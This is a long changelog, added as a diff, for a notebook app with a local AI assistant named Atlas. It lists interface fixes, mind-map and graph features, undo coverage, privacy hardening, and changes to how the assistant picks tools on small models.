+- Mind maps: Tab and Enter open the new topic for typing at once instead of after the server and two redraws of the whole map (median 1,279ms to 320ms at 301 topics, measured back to back on the test box); a new topic and the name typed into it are one Undo step; after a name is committed the keys stay on the map and the name is read out; a laid-out map's topic menu no longer offers Bring to front and Send to back; and with a map open the command palette lists its commands (add, rename, fold, focus, tidy, layout, look, numbering, present, export). App-wide: three style rules that made every change to the page restyle all of it are rewritten (audit FEAT-02, 11, 15, 16, 17).
+- Documents: pasting from a web page, Word or Google Docs keeps the headings, bold and italics, lists, quotes, code and links (as Markdown) instead of flattening them to plain text; a link with an unsafe address keeps its words only, a code editor's copy stays plain, and Ctrl+Shift+V pastes plain text (audit FEAT-04).
+- Documents and notes: footnotes render in Read view, in a print or PDF and in the HTML export, not only in Live: `[^1]` is a raised number linked to its note, the notes are listed at the foot with a way back, and a comment exported as a footnote reads as one instead of as `[^c1]: remark` (audit FEAT-03).
+- Mind maps: a FreeMind `.mm` file's central topic comes in as the central topic, not as the map's name, so a one-root map round-trips and a Freeplane or XMind map keeps its centre; OPML, FreeMind and Markdown each bring a 101-topic map back whole. An imported map, or one made from your notes, opens in the tree-right layout and laid out, instead of in Free where the first Tab piled topics on each other (audit FEAT-01, FEAT-05).
+- Notes, Capture: the composer is one box; the note editor inside no longer draws its own border and focus ring a hair inside the composer's, and the composer's edge carries the focus (INBOX 560).
+- Boards: the gesture hints' close button is pinned at the strip's end after a divider, whole and evenly inset, instead of clipped past the edge (INBOX 562).
+- Dialogs: every dialog head is one row at every width, the title giving way with an ellipsis before its buttons would wrap onto a second line (measured on 42 heads at 390 and 1440; before, Where are my documents kept? and the dictionary put their X on a row of its own on a phone).
+- Documents, the dictionary: one head row at every width (Dictionary, its '?', Import, Export and the X as icons), the count opening the line under it, the search-field well (its glyph used to sit on the placeholder), and the switch rows drawn as switch rows instead of a switch over a small grey label; on a phone the spelling choice goes under its name. Dialogs app-wide: an on/off row in a small dialog is no longer drawn as a form label.
+- Documents, the Suggestions panel: one head row at every width (the name and its count, Fix N, Check with AI, a ⋯ with the Dictionary and the dock side, the X), measured one row down to the 240px right dock where it used to wrap; each finding is one row (the mark, the words over the reason in a narrow panel, then Accept and Ignore as quiet icons, Ignore last on every row), an opened row's answers sit under it rather than beside it, the candidates are quiet pills, Up and Down walk the rows and the focus moves to the next row after an Accept or Ignore; the empty state is one quiet line.
+- Dialogs: How are these connected, Manage this connection, Manage bookmark groups, Review the map before it is made, Export this board and a map's facts and look open on the same head as every other dialog (a 16px title and an X), instead of a small uppercase heading or none; the link kinds are quiet rows with the chosen one tinted, and a map's facts lose the extra filled Close.
+- Pickers: the dialogs that choose from your notebook (the mind map's Point a new node at, Add to a note, Make a map of these notes, Choose from your library) share one modern shell: a dialog head with its X, the search field with its glyph, and rows with an icon tile and the name over one line of facts (a note's category and when, a document's words, a file's size, a bookmark's site). Down and Up walk the rows and Enter takes one; the source tabs walk with the arrows and keep the list one height; the several-notes picker has the Attach picker's check rows and one filled button.
+- Timeline: the calendar strip under the dock is one header row. The month sits between its two arrows, and the seven days are one well across the rest of the row (it was a 448px column of bordered boxes with the arrows 230px from the month); today's number is filled, a dot marks a day with a page, and the days are one Tab stop the arrow keys walk, past either end a day at a time. On a phone the arrows take the row's ends and each day stacks its weekday over its number (46px wide at 390).
+- The app opens with 34 KB less script to download (gzipped, 792,754 to 758,418 bytes): the Settings window's own listeners, the catalogue's deep links, the welcome card, the update dialogs, the command palette's window, a note card's menu panels, the edit form's Similar and links panels and the put-on-a-board pickers now load the first time you use them. Nothing looks different; the first Settings open waits a few milliseconds for its file.
+- A face's large view is alive (INBOX 591): its weight shifts, its head sways and its arms drift on clocks that never line up, and its eyes and head turn to the pointer, as the companion's do; still but for its blink and breath under reduced motion. Measured over 2s: 7 of 40 parts move (3 before).
+- Atlas moves like a body (INBOX 540, 554, 556, 564, 575): each arm is a jointed chain, shoulder, elbow and wrist, that bends as one smooth outline, and every change of pose, act or mood eases there on springs timed by the size of the move (250 to 500ms), drawing back a little before a big one and settling past it, the shoulder a beat after the body, the elbow and the wrist after it; a wave lifts the forearm, the bell and the star map straighten the arm, folded and clasped arms bend at the elbow, and the arms swing in counter-phase while it travels; the head lags a change of pose and catches up; the hair trails the body's sway and a wave runs down both tails to the tip; the dress or cloak, the tails, the hair and the nebula stream each take a pose for what it is doing (resting, moving, sitting, lying, a gesture, thinking, happy, sad, startled), in a variant picked at random so repeats differ, blended with an overshoot and settle; his lower body is a cloak in her dress's celestial material; a blink is the lid coming down over the eye and back up, where a patch of skin with a heavy ink arc faded in and read as a thick brow; capped tips (the tails, his trail, the chin hand) are round instead of notched. With motion reduced, a pose changes at once and nothing idles.
+- Atlas, the feminine look: the fringe is five tapered locks with round tips over a smooth hairline, drawn with the hair's cap so no mood can open a gap; the astral wisps are tapered ribbons in nebula hues that fade at both ends, wrap behind the body and back round the front, with four-point glints that twinkle; the lower body keeps its shape as a dress that dissolves into light and motes at its end, with no outline; her figure is slimmer, her long hair four broad flowing locks with soft curls in place of a fan of spikes, her comet tail longer and feathered like her wings, and she breathes, floats and trails her dress on clocks of their own (still under Reduce motion). Both looks have a smaller, oval head with softer eyes, and arms that hang relaxed from the shoulder with a soft bend at the elbow, gestures rising from there; the masculine torso tapers from broad shoulders instead of being an egg (INBOX 550, 554, 555, 556, 559, 563, 564, 565, 567, 568).
+- Notes, Questions: Read notes now finds the questions your notes ask at once (the night pass, which otherwise runs only with background tasks on); the empty line says so (INBOX 551).
+- Whiteboard: right-click a frame's title, Export this frame…, to export the frame and everything inside it (locked items too) as a picture, PDF or SVG. A frame inside another moves with it.
+- Mind maps: View, Present branches shows a map full screen one branch at a time: the whole map first, then each branch fitted to the screen, with the same bar and keys as a board's Present frames (arrows, Space, Home, End; Escape puts everything back).
+- Mind maps: boundaries and summaries. A topic's menu (More, Branch) draws a boundary round its branch, rounded, dashed or as a cloud, in the branch colour and with a label if you like, and it grows, folds and moves with the branch; Summarise puts a brace beside one topic, or beside several selected side by side, with your words past its tip. Both undo, survive OPML and FreeMind exports and come out in the picture exports.
+- Whiteboard and mind maps: comments. Right-click a card, sticky, shape or topic and choose Comment… for a thread on it; a count on its corner opens the thread again, Enter posts, a trash deletes and Ctrl+Z takes either back. Kept with the item through moves, copies, undo and a duplicated board; not exported.
+- Graph topics can be renamed: the pencil on a topic's card gives it a name of your own, kept by its notes so it follows the topic through small changes, and the arrow brings the found name back (PUT /graph/topics/name). Library, Contents has By topic, a section per topic (INBOX 547).
+- More of the app has Undo (INBOX 537): merging duplicate notes (the words, tags and binned notes come back), generating or removing a note's title, changing a link's kind or properties, deleting several boards from the Library (they go to the recycle bin), and deleting a category from the keyboard. The audit of what has Undo and what does not is in WHITEBOARD_PLAN, "Undo coverage".
+- Undo and redo on boards and maps cover every change (INBOX 537): each board, map and document keeps its own history for the session, and Ctrl+Z or the status bar's pair walks the open one (the app's own stack everywhere else). A map gesture (fold, theme, numbering, layout, tidy, detach, remove keeping the branch, turn a line around, copy a branch, clear the map, reset every topic's style) is one step read off what it changed; a deleted topic comes back with its branch and under its parent; a deleted card, box or shape comes back with its links; a deleted selection and Clear board are one step each; a picture's file is kept so its Undo shows it; a branch dropped on a folded topic opens it rather than vanishing; a rename left open across an Undo can no longer write onto another topic. Deleting a board moves it to the recycle bin with Undo. Clearing completed reminders, and deleting an overdue or done one, can be undone.
+- Documents on a phone: in Read view the first line sits right under the head row (y=199 at 390x844, was 255): the document's name is not repeated as a heading under the row that already shows it, and the page's padding matches the card's. Desktop Read view still opens with the name.
+- Atlas, on a small model: "What tags and what categories am I using?" (two questions in one sentence) is read as a question, so the tag and category tools that change things are not offered for it; filing a note under a category that already exists no longer opens by offering to create the category; and when a request that must open with a tool call gets prose instead, the model is asked once more to call it (`tests/test_toolwords.py`, `tests/test_harness_tiers.py`, `tests/test_harness_robustness.py`).
+- Focus mode (the graph's local view): the neighbourhood of a note is drawn from an index of the notebook's connections that is kept until a note or link changes, instead of being rebuilt from every note on each open or refocus; measured on synthetic notebooks of 2,000 and 10,000 notes, a repeat call went from 129 ms and 1,032 ms to 13 ms and 23 ms (`tests/test_graph_local_scaling.py`).
+- Atlas, on a small model (under 8B): when a request must open with a tool call, the first round is offered only the tools that act and the searches that find the note named, so "Add X to my note" no longer opens with the clock and "Put X in my shopping note" no longer makes a new note (measured on a 3B: a right first tool 17 of 22 before, 20 of 22 after). A question's first round is offered no tool that changes anything, and "File the note under Health" is offered the note edit that sets its category.
+- Web search: pressing Start on SearXNG while a reinstall begins now stops at once and says it was being reinstalled, instead of waiting out three minutes and reporting that SearXNG wrote nothing.
+- Dialogs show one filled button at a time: the Documents AI panel's Replace with this, the OCR workspace's Save changes, the meeting recorder's Save as a note and Settings' embedding fix take the fill only when their step arrives (the button before them goes quiet); About's Install this version and Change keyboard shortcuts are quiet buttons.
+- Notes: the facts on a note's line (the dates it mentions, how sure the filing is, what points at it, reminders, a missing tag) no longer draw an outline, and the category chip lost its hairline; the ones you can press (the category, links, Add tags, the references count) still tone under the pointer.
+- Timeline: the month above the calendar strip opens a month calendar to jump past the seven days. Arrow keys, Home, End and Page Up and Down walk it, Escape gives the focus back, days after today are off, a dot marks a day with a page, and picking a day moves the strip to it and focuses it (nothing is written).
+- Help: the nine '?' buttons that still ran on the older hand-wired panel (Graph, Timeline, Notes' filter and capture, Skills, Boards, Media, Contents and Settings' search relevance) are the shared `data-help-for` popover now, and the Settings Logs dock has its own '?'. Same text, one code path; Escape on the Graph's '?' still leaves the map full screen. A lint fails if a hand-wired help panel comes back.
+- Timeline: a calendar strip above the feed shows the last seven days with a dot under each that has a page; pressing a day opens its note or document, or starts it in the composer with the date as the title (nothing is written until you save), and the arrows move a week. A note titled with its date now shows the day before and the day after as buttons under its title. Ctrl+D shares the same lookup, which asks `GET /entries/daily` before reading so an empty day is not a 404 (`scratchpad/ui-sweeps/daystrip.js`, `tests/test_daily_strip.py`).
+- Dashboard and Reminders: each dock now ends with a '?' that opens a short note on the page (the Dashboard's search, widgets and layout; the Reminders groups, the plain-words box and the calendar export), the same button every other tab's dock has; `tests/test_dock_help_507.py` fails on a dock without one (`scratchpad/ui-sweeps/dockhelp2.js`, 4 of 4 at 1440 and 390).
+- Command palette: Ctrl+K now lists Open today's note, Go back, Go forward and Reload the app, the four shortcuts that had no row; `tests/test_consistency_contract.py` fails on a tab or a shortcut the palette lacks, a card in a card, a glass in a glass, a menu row that paints a fill at rest, and a second filled button in a modal or a settings pane (5 existing dialogs and 13 chip rules are held at their count).
+- LAN mode answers over IPv6 as well as IPv4 where the computer has both: one dual-stack socket, so a phone on an IPv6 network can reach it too; the addresses Settings and the privacy receipt list include global and unique-local IPv6 ones in brackets (never link-local, which no browser can open).
+- Notes, Questions: every question your notes ask in passing, newest first, as Open, Answered or Dropped with a count on each. An answered one quotes the later sentence that answered it and opens its note; Mark answered asks which note answers it and links the two; Drop and Reopen move it back and forth. Ask about these answers from the notes with open questions only, and the Dashboard's While you were away card names the oldest open question.
+- Dashboard, While you were away: reading your notes on its own now also finds two claims in different notes that disagree (the rent is 900 in one and 950 in a later one) and a question a later note answers. Each row quotes the other sentence, opens the other note, and a disagreement can be linked as one; a dismissed pair is never found again. With no model it finds only a changed number or a 'not', and a later sentence that holds most of what the question asks.
+- Search by meaning reads long notes paragraph by paragraph: a note of two or more paragraphs stores a vector per paragraph and scores on the better of its own and its best paragraph's, so a question about one paragraph of a long note finds it (seeded 1,000 notes: recall@5 0.01 to 0.42). Old long notes get paragraphs at the next launch; editing one paragraph re-embeds only that one.
+- Chat and Ask: a source mark's preview says whether the passage supports the sentence or only partly, with three short bars for why it was chosen (Words, Meaning, Links). The end of Grounded in says how many sentences came from your notes and opens the evidence: each sentence beside the passage it came from, and No note says this beside the rest.
+- Dashboard: Recent activity's "Undo what Atlas did" row goes once the undo has put everything back, instead of staying to say "Already undone"; a later change by Atlas brings it back (`GET /events` names the events a restore reversed).
+- Dashboard: the While you were away card grows to fit the review list you open instead of scrolling inside a 320px box, so every finding and its Dismiss button can be reached; it still pages five at a time.
+- Mind maps on a phone: a selected topic's add and link buttons hang below the topic instead of over the left of its label, so pressing the start of a topic's text selects it rather than adding a child.
+- Privacy receipt: the ledger is written within a second of a connection instead of only when the receipt is opened and when the app quits, so an app that is killed or crashes no longer loses what it had seen (`tests/test_egress_ledger_writes.py` kills a process mid-run).
+- Background work survives a quit or a crash: the readings and filings an upload starts (text from images, captions, vision reads, document reads, filing) are kept in the notebook while they wait, and the next launch finishes what was left, three tries at most. A queued reading can be stopped from the activity panel. New `GET /jobs`, the server-sent `GET /jobs/stream`, and `POST /jobs/{id}/cancel` (WORLD_CLASS_PLAN B2, `tests/test_jobstore.py`).
+- Phone: a tap on a note in Select mode now only ticks it. It ticked the note and also opened its page over the list, so the next note could not be reached until Back was pressed. `tests/test_phone_select_mode_tap.py`, `scratchpad/ui-sweeps/deepflows.js` (the select flow).
+- Notes and documents: the `[[` picker offers the note you are naming first. It listed every note holding the words anywhere, newest first, cut to six, so with newer notes linking to "Alpha project" the picker's first row (the one Enter takes) was one of those and Alpha project itself was sixth or missing. Notes whose first line starts with the words come first, then ones whose first line holds them, then ones that only mention them. `tests/test_wiki_picker_ranking.py`.
+- Settings, Models: the "Advanced response settings" heading no longer drops its "?" onto a second line at phone width (the head stood 71px tall in a 44px row, so the chevron and the "?" sat on different lines from the words); the heading wraps in place instead. `scratchpad/ui-sweeps/deepflows.js` (fold headings, 0 of 21 sections spill at 390).
+- Settings, Profile and General: a switch pressed and then left for another section within a second is no longer put back. Those sections save 700 ms after the last change, and opening one reloaded the old values over the form before that save ran, which then saved the old values. `tests/test_prefs_pending_save_survives_pane_switch.py`.
+- Settings, Tools it can use: all 58 tools can now be switched off (the list held at most 50, so the 51st switch was refused and left looking off), and a refused save puts the switch back and says why instead of failing silently. `tests/test_agent_tools_api.py`, `tests/test_tool_switch_save.py`.
+- Settings: pressing a setting's words now toggles its switch. On every row with a long hint the words opened the help instead (the "?" came first in the row, and a label activates its first control), so only the small switch itself worked. `tests/test_setting_label_toggles.py`.
+- Dashboard: Recently added, the random-note widget and the unfinished-checklists list no longer print a note's `---` properties block as its words (`---` and the fields were the first thing shown for a note with properties). `tests/test_properties_never_in_previews.py`, `scratchpad/ui-sweeps/deepflows.js`.
+- Notes and documents: `[[Target|Shown]]` draws the shown words (it drew `Target|Shown`), opens the note or document named before the bar (it looked for one starting with the whole text and offered to create it), and a document's live view hides the target and bar like the brackets. Board references (`board:12|Title`) are unchanged. `tests/test_wiki_alias_frontend.py`.
+- Phone: Edit on an open note now opens the edit form. The note page (a full-screen sheet) stayed over the form, which was drawn in the list behind it, so Edit seemed to do nothing until Back was pressed; starting an edit now puts the page away first. `tests/test_phone_note_page_edit.py`.
+- Notes: in a note's edit form, Home, End and the up and down arrows now work in the title, tags and body fields. The notes list took those keys for moving between rows even from inside a field, so the caret never moved and the focus jumped to another note, and what was typed next was lost. `tests/test_entry_list_keys_in_fields.py`.
+- Mind maps: the topic strip no longer opens over the handle that bends the line into the selected topic (it did for 4 of 48 topics at 1440, on a radial map's inner rings and a tree's last branch); it slides clear to one side or opens under the topic instead, 0 of 192 at 1440, 1024, 820 and 390 (MINDMAP_PLAN 13b; `scratchpad/ui-sweeps/mapstripcover.js`).
+- Library, Boards and maps: each row of the New menu now says what it makes under its name ("An empty canvas you arrange by hand", "Topics branching from one central idea"), so the two kinds are told apart on a touch screen too, where a tooltip never shows (MINDMAP_PLAN INBOX 24; `.dock-menu-item-hint`, `scratchpad/ui-sweeps/boardsnew.js`).
+- Mind maps: View, How this map looks (was "How this map draws topics") now leads with the whole map's own two: Branch colours (Classic, Deep, Soft, Vivid) and Font (Serif, Monospace, Wide sans). The canvas and the Library thumbnail draw from one palette list on the server (`MAP_BRANCH_PALETTES`, sent with `/tree`), so they always agree, and the image export writes the map's font. On a map whose look sets a topic's box, bar, size, alignment or line, that topic's picker also offers the app's own default ("Rounded", "M"), which the topic then keeps against the map (MINDMAP_PLAN 13e, decisions 8 and 9; `tests/test_map_theme_palette.py`, `scratchpad/ui-sweeps/mappalette.js`).
+- Documents: with `type: Meeting` in a document's properties, the panel shows the Meeting type's fields the document has not written yet as empty rows, each with the control its kind needs (text, number, date, list, yes/no, another note); a row left empty adds nothing to the file, and a value goes in as one new line above the closing fence, leaving the other lines as they were. It read no note types before. `docFrontmatterTypeFields`, `tests/test_doc_type_fields.py`, `scratchpad/ui-sweeps/doctypeprops.js` (11/11 at 1440 and 390).
+- Phone: a toast fired while a bottom sheet is open is drawn over it. A sheet opened from a menu or another high layer is drawn one layer above that opener (up to 2601), and the toast box was at 1050, so the confirmation of what the sheet had just done sat behind it; below 600px the box is now at 2700. Measured at 390x844 with `elementFromPoint` at the toast's centre: covered at openers of 1050 and above (4 of 8 layers tried), answered in all 8 now (`scratchpad/ui-sweeps/toastsheet.js`, `tests/test_toast_over_sheets.py`).
+- Agent: the link tool now takes a kind of link (`link_type`) and accepts the built-in kinds and your own relation types, by key or by name; its description lists what exists in this notebook, capped at 420 characters with a count of the rest, and an unknown kind is refused with the list. It took no kind before, though two prompts told the model to link with 'contradicts'. `tests/test_agent_link_types.py`.
+- Notes: a note's `---` properties block no longer shows as its words in search snippets (and a result's title is the line after it, not `---`), the Library's note, bin, file and document card previews, a reminder's note line, a contradiction's excerpt, Ask cards, the agent's graph and whiteboard previews, the extractor's link previews, a remove-title and a generate-title (both left the block alone only by accident: the heading now goes after it), and five clips in the page (categories split list, graph remind, lightbox remind, similar-note row, the palette's note rows). `tests/test_properties_never_in_previews.py`.
+- Lint: `tests/test_select_focus.py` fails a `.focus()` or key listener on a page `<select>` (enhanceSelect moves both to its opener); 0 offences today (DOCUMENTS_PLAN's 2026-09-09 batch).
+- Documents on a phone: the status line (words, goal, suggestions) was drawn behind the formatting bar at the foot and never seen, and the editor stopped 72px above the bar with a blank band between; the page now ends where the bar begins (status line visible, writing down to it). The floating selection bar no longer repeats the foot bar's Bold, Italic, Heading and Link, so it fits a 390px window with Ask and Rewrite on screen (it ran 117px off the edge); on any other narrow surface it wraps rather than runs off. `docphonebar.js` (DOCUMENTS_PLAN 17 and 18's phone half, HISTORY "the documents phone pass").
+- Documents: a task's checkbox is drawn at the text's size (it was a 28px square on a desktop and 44px on a phone, growing its line and overlapping the next task's), with its press area kept at the app's target size beside it; Read's (disabled) task boxes too. `doctaskbox.js`.
+- Grammar check: a wiki link (`[[Another doc]]`) is no longer read as prose ("Use another on its own", offering "aNother"); a lint touching a link or an embed is dropped (`tests/test_prose_tools.py`).
+- Whiteboard and graph: zooming with Ctrl and a mouse wheel moved one notch to about 1.4x instead of 5x (two notches used to take a map from its normal size to the 4x ceiling); a trackpad pinch and the graph's plain wheel zoom are unchanged (`zoomWheelDelta`, `tests/test_zoom_wheel_delta.py`, `ctrlwheelzoom.js`).
+- Whiteboard: pictures on a board now appear in its exports. A PNG, a PDF and the copy added to your image library used to show an empty space where each picture was, and a saved .svg pointed at an address that only works inside the app; the pictures are now written into the file (`wbexportimage.js` sweep, `tests/test_wb_export_inline_images.py`).
+- Notes: while Atlas writes into the draft on the Write with AI page, the draft box can no longer be typed into (the lock only reached the hidden textbox behind the editor, so you could edit text that was about to be overwritten; `tests/test_note_surface_readonly.py`).
+- Notes: the formatting strip in a note's edit form listed each highlight and text colour twice (the copy of the capture strip kept its options and had them added again); each is listed once.
+- Chat: scrolling up inside a code block, table or thinking fold in an answer no longer stops the chat following the writing; only a wheel the chat pane itself would scroll lets go (`nestedTakesWheelUp`, `tests/test_chat_scroll_534.py`).
+- Timeline: the Auto bucket now picks the finest of day, week and month whose headers stay few (120 at most) and filled (a median of two items a header and under 60% of its calendar empty, once there is more than a screen of them), counted per scale instead of from active days: 3 months of a 2,077-note notebook reads by day (was week, 166 notes under one header), a sparse range reads by week (was day, 83% empty), two years of steady writing by week; no width scrolls sideways, worst first screen 51% empty, first paint is scale-independent (about 260ms on 2k notes in the sandbox). `timelineAutoScale`, `tests/test_timeline_auto_scale.py`, Guide text updated (TIMELINE_PLAN, HISTORY "the auto scale").
+- Speed: two text patterns could stall on a long run of spaces (20,000 spaces took 5 to 7 seconds): the one that splits a model's follow-up suggestions and the one that spots a table's divider line when exporting a document to Word. Both are linear now (under 0.02 s) and split and match exactly as before.
+- Duplicates: the scan is much faster and reads more of a large notebook. 60 notes went from about 196 ms to 8 to 15 ms; the scan used to give up after 500 notes (more than 25 s at that size) and now reads 5,000, so a notebook past 500 notes has its newer notes checked too (2,000 notes: about 0.7 s). Same groups and scores as before.
+- Connections: in Mentioned, not linked, the Link button is greyed out (with the reason on hover) for a note whose opening line has a square bracket in it, such as "Plan [v2]". It used to say "Linked", rewrite the sentence and store no link, because a [[link]] cannot hold a bracket. Names with # or | ("C# basics") link as before.
+- Privacy: what you search for no longer appears in the log. The access log, Settings log viewer and support bundle used to carry `GET /search?q=your words` in full; now the value of any query parameter that is not paging or a switch shows as `[redacted]` (the route and parameter names stay).
+- Privacy: "Tag and file with Atlas" on a private note is refused (it used to send the note's text to the model, or ciphertext while locked, and to the search index); Atlas does not read private notes.
+- Atlas: a tool argument typed as a number now refuses "nan" and "inf" (and any value too large to be a finite number) instead of passing them to the tool.
+- Atlas: a model reply made of thousands of nested brackets no longer escapes the background passes that read model JSON (note splitting, filing, remembered facts, reminder parsing); the pass fails quietly like any unreadable reply.
+- Privacy: opening a name (person, place, project) that only private notes ever mentioned now says it could not be found, as the list of names already did, instead of showing its name and aliases with no notes.
+- Privacy: the properties on a link that touches a private note (the short values you add to a link) are now encrypted like its reason: readable while unlocked, absent while locked, sealed when a linked note goes private, restored when it goes public again, and moved onto the new key when the encryption key is rotated. They were stored in plain text before.
+- Privacy: the reason on a link that touches a private note is now encrypted like the note and kept out of the activity log's text (you still read it while unlocked; it was stored in plain text before). Making a note private seals the reasons on its links, making it public again restores them, and rotating the encryption key now also moves a private note's history and link reasons onto the new key (they would have stopped opening). Tags stay visible on a private note by design.
+- Agent: after pinning or editing a note, a new note that copies it (or that carries the app's own quoting marks from the prompt) is refused rather than made, which a 3B model did twice in ten everyday requests; and a model under 8B is offered the tool that saves a preference only when the request is about you ("remember", "from now on", "call me"), since "Note down ..." and "Save this ..." were saved as preferences (AGENT_SKILLS_REFORM H4, INBOX 527).
+- Agent: "Show me" a picture that a note already found holds is no longer offered the board and map tools at all (a 3B model put the note on a whiteboard instead of showing the picture); asking to add or place it on a board still offers them. A note made with tags no longer gets "Heads up: I said I tagged a note" when the answer says it was tagged (AGENT_SKILLS_REFORM H4, INBOX 527).
+- Atlas, feminine look: the astral wisps show on a light page (drawn in the nebula's deeper violet there; median contrast against what is behind them 1.13 before, 1.33 now, the brightest tenth 1.40 before and 3.28 now, as the dark theme's 3.24), the waist and tail wisps now turn with the tail in every pose (lying down they floated beside the body), and the body's edge glow carries on down the tail instead of ending at the hips. The masculine look is pixel-identical.
+- Agent: what a turn asks of a model now comes from one table of three sizes, read from the model's name (under 3B, 3B to 8B, 8B and up; a name with no size is treated as large), in place of one under-8B switch. A model under 8B that writes on and on in a step where it could call a tool is cut short (about 600 tokens under 3B, twice that up to 8B) with a line saying so, where a 1.5B model once wrote for 948 s to the 2,048-token cap; note ids and match scores copied from the prompt ("(note id 3)", "similarity 0.54") come off the answer; and a picture question whose picture is in a note already found ("Show me the whiteboard sketch from the planning meeting") is no longer offered the board reading tools first, which a 1.5B model used instead of showing the picture (AGENT_SKILLS_REFORM H3, INBOX 527).
+- Agent: an answer is checked against what the turn read before it is final; a number (a count, a time, a date, an amount) or a name in it that no tool result, note or your own words contain gets a heads-up under the answer naming it, the way a claimed act that never ran already did. No second model round: on a twenty-answer set (twelve true), all twenty are called right and none of the true ones is flagged (AGENT_SKILLS_REFORM H2, INBOX 527).
+- Agent: a turn that takes more than one step now draws its own checklist above the answer, one row per round naming what it searched or read, ticked as each ends, then the answer; it is saved with the chat and shown again when the chat is reopened (it used to appear only for Plan first and skills, and a small model is never offered a plan). A skill run's checklist, which reopening a chat had been dropping, now comes back too (AGENT_SKILLS_REFORM H1, INBOX 527).
+- Atlas, feminine look: the Galaxy Seed Sower's body (INBOX 535, the owner: "I want the female bottom half and main body the feminine atlas to be more like this"). An hourglass torso (a small chest curve, a clear waist 0.73 of the chest and 0.55 of the hips, rounded hips) whose hips flow into one long, wide spectral tail sweeping out to one side and curling up to a soft point, as wide as the hips where it leaves them (over 80% of the hips where the torso fades into it, by the shape test), its inner side shaded the nebula's violet with galaxy sparkles; the comet tail is the second, thinner ribbon tail, now from the other hip. No gown, no ribbon tails, no waist band; fills only, nothing along either tail under 2px. The masculine look is pixel-identical.
+- Chat: Atlas only shows a picture when your question is about one; it no longer adds pictures to unrelated answers.
+- Graph: a Filter fold in the gear holds a chip per kind of link on the map (No kind, Supports, your own, each with its count): press one to take those links off the map and again to bring them back, kept between visits; and a chip per property value its notes carry (status: open, type: Meeting), which lights those notes (GRAPH_PLAN KG8, INBOX 528).
+- Notes filter: live queries over the notebook's structure. `type:meeting`, `prop:status=open` (also `!=`, and `> >= < <=` on numbers and dates, or `prop:status` for any value), `links:[[Kiln plan]]`, `rel:supports` (a kind's key or either of its names), `entity:"Sam Lee"` (or an alias), with `-` before any to leave those out, mixed freely with the filter's words and `tag:`. A bar over the list says how many match and shows the same notes as a Table (their properties as columns) or lit on the graph; a saved filter keeps the query. `GET /entries/query` (`entry/query.py`) (GRAPH_PLAN KG7, INBOX 528).
+- Notes: properties and note types. A note can carry properties at the top of its own text (`status: open`, between two `---` lines, as Obsidian writes them); the card shows them as a small table under the title and is still named by its heading. A note's ⋯ has Properties (add, change, remove, or pick a type; Save rewrites only those lines); Note types in the command palette makes a kind of note with fields (text, number, date, list, yes/no, another note) and a New note that starts with them. A vault's own frontmatter now imports as properties (category and tags still become the note's own), and a Markdown export writes one block. Properties are indexed for queries (`entry_properties`, never a private note's). `GET|PUT /entries/{id}/properties`, `/note-types`, migration d9b2e6f4a1c7 (GRAPH_PLAN KG4, INBOX 528).
+- Links: a link can say what kind it is, and each kind has a name from the other end: Supports reads Supported by from the note it points at, and you can add your own (Part of / Has part, Cites / Cited by). A link's ⋯ has Kind and properties (pick a kind, make a new one, or give the link properties such as count: 4); its chip and the Connections rows name the kind from that note's end; Kinds of link in the command palette renames or deletes your own (their links stay, with no kind). Kinds and properties are in the database, so a backup keeps them, and the JSON export now carries each link's kind, reason and properties. `/relation-types`, `PATCH /entries/{id}/links/{link_id}` takes `props`, migration c3f7a9e2d5b8 (GRAPH_PLAN KG3, INBOX 528).
+- Graph, Topic colour: a topic's legend entry opens its card (its name, how many notes, what they share) with Summarise, which asks your local model for one sentence about those notes, kept until one of them changes; Stop abandons the ask, and with no model the card says what the notes share instead. No note's name is placed over a topic's name plate any more. `POST /graph/topics/summary` (GRAPH_PLAN KG6, INBOX 528).
+- People and things: every person, place, project, organisation or thing Atlas finds in your notes now has a kind and a page: click one on the graph, or open People and things from the command palette. The page shows each note that names it with the sentence (the name marked), what it is named with, and the dates its notes mention; its ⋯ sets the kind, renames it, edits its other names and merges it into another, every mention following. On the graph, two named together in two notes or more are joined by a dotted line. Extraction asks the model for a kind and lands an old or other name on the entity it now belongs to. `GET /entities`, `GET|PATCH /entities/{id}`, `POST /entities/{id}/merge` (GRAPH_PLAN KG5, INBOX 528).
+- Suggestions: one sheet holds everything the notebook proposes and you decide, as four kinds with their counts: Links (the pairs Find links to add offered, with every reason), Tensions (the disagreement review, still started by hand), Names (one person or thing named two ways, "Sam" and "Sam Lee" or a near spelling; Merge moves every mention and keeps the other name as an alias, so extraction never makes it twice) and Link types (a link whose own sentence or reason says "for example", "continues", "evidence", "contradicts" or "background", with the words marked). It opens from Find links to add, the Graph's Suggest links, the Tensions widget and the command palette; it replaces the panel under the graph's toolbar and the Tensions dialog. Every accept and dismissal is a correction: a dismissed one never returns, and each kind of reason is trusted more or less from then on. A link accepted from its reasons keeps their confidence. `GET /suggestions`, `PATCH /entries/{id}/links/{link_id}` (a link's type), entities gain kind, aliases and merged_into (migration b8e4f2a6c9d1) (GRAPH_PLAN KG9, INBOX 528).
+- Chat: pictures appear in an answer only when they answer or illustrate the point, or when you ask for one.
+- Chat: the Attach panel draws over the chat's header instead of under it.
+- Sub-tab bars stay readable over a scrolled page; Quick access rows no longer keep an empty strip for their hidden move buttons.
+- Graph, Trace: each step of a route says how many other reasons its two notes relate ("linked to +2") and names them on hover: people or things both mention, a note both link with, a rare tag both carry; a step with a private note names none. `steps[].also` on `GET /graph/path` (GRAPH_PLAN KG8, INBOX 528).
+- Graph: a Topic colour rule finds the subjects inside each cluster (two subjects joined by one link are one cluster and two topics), draws each topic's outline with its name on a plate above it, and names it by the tag, person or title word its notes share more than the rest of the notebook; the legend lists the topics with those terms, and a click finds their notes. `GET /graph/structure?topics=1`, `entry/topics.py`, 10,000 notes in 170 ms (GRAPH_PLAN KG6, INBOX 528).
+- Links: Find links to add learns from you: linking a suggested pair or dismissing one records which reasons it was offered for, and each kind of reason (similar wording, people both name, a note both link with, a rare tag, the same sitting) is then trusted more or less in this notebook, between half and one and a half times, fading over a month like the app's other lessons (GRAPH_PLAN KG9, part one).
+- Links: Find links to add now finds pairs by structure as well as wording: people or things both notes name, a note both link with, a rare tag both carry, and written in the same sitting (support only); each reason shows under the pair with its own confidence and the chip is the combined one; it works with semantic search off; linking a pair found by structure keeps its reasons as the link's reason. `ai/relations.py`, 2k notes in 162 ms and 10k in 802 ms in the sandbox (GRAPH_PLAN KG2, INBOX 528).
